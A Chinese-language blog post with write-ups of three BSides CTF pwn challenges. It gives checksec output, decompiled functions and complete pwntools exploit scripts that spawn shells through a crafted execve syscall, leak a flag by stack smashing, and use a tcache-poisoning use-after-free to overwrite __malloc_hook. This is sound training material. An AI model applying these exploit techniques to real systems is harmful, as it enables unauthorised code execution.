本文最后更新于:星期日, 一月 13日 2019, 11:42 中午
easypeasy
防护机制:
☁ easy checksec easypeasy
[*] '/home/zs0zrc/pwn/ BSides/easy/easypeasy'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
简单的运行了下,好像是让我们输入寄存器的值,一直循环输入
简单逆向下,程序主要逻辑在child函数中。
void __noreturn child()
{
__int64 buf[7]; // [rsp+0h] [rbp-40h]
unsigned __int64 v1; // [rsp+38h] [rbp-8h]
v1 = __readfsqword(0x28u);
signal(14, (__sighandler_t)handler);
while ( 1 )
{
do
{
get_obj(buf);
obj = buf[0];
qword_6010A8 = buf[1];
qword_6010B0 = buf[2];
qword_6010B8 = buf[3];
qword_6010C0 = buf[4];
qword_6010C8 = buf[5];
qword_6010D0 = buf[6];
}
while ( (unsigned int)validate_syscall_obj(buf[0]) );
raise(14);
}
}
__int64 __fastcall get_obj(_QWORD *buf)
{
printf("RAX: ");
*buf = get_ll();
printf("RDI: ");
buf[1] = get_ll();
printf("RSI: ");
buf[2] = get_ll();
printf("RDX: ");
buf[3] = get_ll();
printf("RCX: ");
buf[4] = get_ll();
printf("R8: ");
buf[5] = get_ll();
printf("R9: ");
buf[6] = get_ll();
return 0LL;
}
singal()函数声明
void (signal(int sig, void (func)(int)))(int) ,第一个参数为要处理的信号,第二个参数为处理方法raise()函数声明
int raise(int sig) 这里参数为要发送的信号码,这个函数会促使生成信号sig
这里用signal函数给信号14也就是SIGALRM信号 设置了一个处理方法,然后循环读取寄存器的值,将这些值存入bss段上的变量中,每读取完一次后调用一次validate_syscall_obj函数,如果validate_syscall_obj函数返回值为0,就调用raise(14)函数,生成信号SIGALRM。然后就会调用handler函数,否则就进行下一次循环。如果想调用handler函数,那么rax的值就必须为1,2,3,60这四个数中的一个,或者是等30秒,程序调用alarm函数。
贴下linux支持的信号表:
Linux支持的信号列表如下。很多信号是与机器的体系结构相关的
信号 信号值 默认处理动作 发出信号的原因
SIGHUP 1 A 终端挂起或者控制进程终止
SIGINT 2 A 键盘中断(如break键被按下)
SIGQUIT 3 C 键盘的退出键被按下
SIGILL 4 C 非法指令
SIGABRT 6 C 由abort(3)发出的退出指令
SIGFPE 8 C 浮点异常
SIGKILL 9 AEF Kill信号
SIGSEGV 11 C 无效的内存引用
SIGPIPE 13 A 管道破裂: 写一个没有读端口的管道
SIGALRM 14 A 由alarm(2)发出的信号
SIGTERM 15 A 终止信号
SIGUSR1 30,10,16 A 用户自定义信号1
SIGUSR2 31,12,17 A 用户自定义信号2
SIGCHLD 20,17,18 B 子进程结束信号
SIGCONT 19,18,25 进程继续(曾被停止的进程)
SIGSTOP 17,19,23 DEF 终止进程
SIGTSTP 18,20,24 D 控制终端(tty)上按下停止键
SIGTTIN 21,21,26 D 后台进程企图从控制终端读
SIGTTOU 22,22,27 D 后台进程企图从控制终端写
handler函数
void handler()
{
exec_syscall_obj(&obj);
}
__int64 __fastcall exec_syscall_obj(_QWORD *a1)
{
_QWORD *v1; // rbx
__int64 result; // rax
__int64 v3; // rdi
__int64 v4; // rsi
__int64 v5; // rdx
__int64 v6; // rcx
__int64 v7; // r8
__int64 v8; // r9
v1 = a1;
result = *a1;
v3 = a1[1];
v4 = v1[2];
v5 = v1[3];
v6 = v1[4];
v7 = v1[5];
v8 = v1[6];
__asm { syscall; LINUX - }
return result;
}//exec_syscall_obj就是根据输入的寄存器的值执行了一次syscall
做法一:
构造execve(“/bin/sh”,0,0)的syscall来getshell
做法二:
构造open(),read(),write()这三个函数的系统调用,打开flag文件,读取flag,再打印出来 ps:这是我看大佬的writeup看到的 大佬博客地址 大佬都是手撕汇编的存在。tkbl
open的系统调用号为 2,write的调用号为1,read的调用号为0
寄存器对应参数
open: rax-> 0x2 ; rdi->pathname ; rsi->flags
read: rax->0x0 ; rdi->fd ; rsi->buf ; rdx->count
write: rax->0x1 ; rdi->fd ; rsi->buf ; rdx->count
先通过调用read的syscall将 pathname写入bss段,然后用open打开文件,再通过read将文件内容读到bss段,最后通过write打印出来
我用的是做法一:
execve()的syscall
rax : 0x3b rdi : address of “/bin/sh\x00” rsi : 0 rdx : 0
exp:
#!/usr/bin/env python
from pwn import *
local = 1
if local:
p = process('./easypeasy')
elf = ELF('./easypeasy')
else:
p = remote("35.200.228.122",1337)
elf = ELF('./easypeasy')
context.arch = elf.arch
context.log_level='debug'
def register(rax,rdi,rsi,rdx,rcx,r8,r9):
p.sendlineafter('RAX: ', rax)
p.sendlineafter('RDI: ', rdi)
p.sendlineafter('RSI: ', rsi)
p.sendlineafter('RDX: ', rdx)
p.sendlineafter('RCX: ', rcx)
p.sendlineafter('R8: ', r8)
p.sendlineafter('R9: ', r9)
register(str(0x3b),str(0x6010A0 + 0x30),str(0x0),str(0x0),str(0),str(0),str(u64('/bin/sh\x00')))
sleep(30) #这里sleep(30)的原因是为了等程序执行 alarm(0x1e),产生SIGALRM信号
p.interactive()
canary
smash the stack,利用__stack_chk_failed函数,打印出flag
exp:
from pwn import*
#p = process('./canary')
p = remote("35.200.232.80","1337")
context.log_level="debug"
flag = 0x06010A0
p.recv()
payload = 'a'*0x178 + p64(flag)
p.sendline(payload)
p.recv()
p.interactive()
data_bank
防护机制:
☁ data_bank checksec data_bank
[*] '/home/zs0zrc/pwn/ BSides/data_bank/data_bank'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
这道题是一道堆的UAF的利用,但是libc版本是2.26,有tcache机制…….做的时候没有发现,虽然他给了libc文件,但是没有去检查libc的版本,下次一定记得去检查libc版本。而且不知道为什么我Ubuntu16.04不能运行他给的libc文件,所以我用的环境是Ubuntu18.04
程序一共有5个功能
- add 新建一个chunk
- edit 编辑chunk
- delete free掉一个chunk,但是没有将指针置为空
- view 将chunk的内容打印出来
- exit 退出
漏洞点
int delete()
{
int result; // eax
int v1; // eax
signed int v2; // [rsp+Ch] [rbp-4h]
puts("Enter the index:");
result = get_int();
v2 = result;
while ( v2 >= 0 && v2 <= 6 )
{
if ( !table[v2] )
return puts("The index is empty");
v1 = count--;
if ( v1 )
{
free(table[v2]);//存在UAF漏洞
return puts("done");
}
result = puts("Sorry no more removal\n");
}
return result;
}
利用思路:
先利用view功能泄露出libc地址,然后通过UAF 加上tcache_posion分配到包含_malloc_hook的chunk,修改 __malloc_hook为one_gadget,最后再malloc一个chunk触发 malloc_hook来getshell。这里要注意的是因为有tcache机制,所以要先将tcache填满,才可以泄露出地址。
exp:
from pwn import*
context.log_level = "debug"
p = process("./data_bank", env = {'LD_PRELOAD': './libc.so.6'})
elf = ELF('./data_bank')
libc = ELF('./libc.so.6')
def add(idx,size,data):
p.sendlineafter(">> ","1")
p.sendlineafter("Enter the index:\n",str(idx))
p.sendlineafter("Enter the size:\n",str(size))
p.sendlineafter("Enter data:\n",data)
def delete(idx):
p.sendlineafter(">> ","3")
p.sendlineafter("Enter the index:\n",str(idx))
def edit(idx,data):
p.sendlineafter(">> ","2")
p.sendlineafter("Enter the index:\n",str(idx))
p.sendlineafter("Please update the data:\n",data)
def show(idx):
p.sendlineafter(">> ","4")
p.sendlineafter("Enter the index:\n",str(idx))
add(0,0x80,'a'*0x80)
add(1,0x80,'b'*0x80)
for i in range(7): # 填满tcache
delete(1)
delete(0)
show(0)
p.recvuntil(":")
leak = u64(p.recv(6).ljust(8,'\x00'))
libc_base = leak - 0x3ebca0
libc.address = libc_base
__malloc_hook_add = libc.symbols['__malloc_hook']
one_gadget = libc_base + 0x10a38c
log.info("libc_address {}".format(hex(libc_base)))
add(2,0x60,'a'*0x60)
delete(2)
edit(2,p64(__malloc_hook_add-0x13))
add(3,0x60,"b"*0x60)
add(4,0x60,'a'*0x13 + p64(one_gadget))
log.info("get shell")
p.sendlineafter('>> ', '1')
p.sendlineafter('Enter the index:\n', '5')
p.sendlineafter('Enter the size:\n', '0')
p.interactive()
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!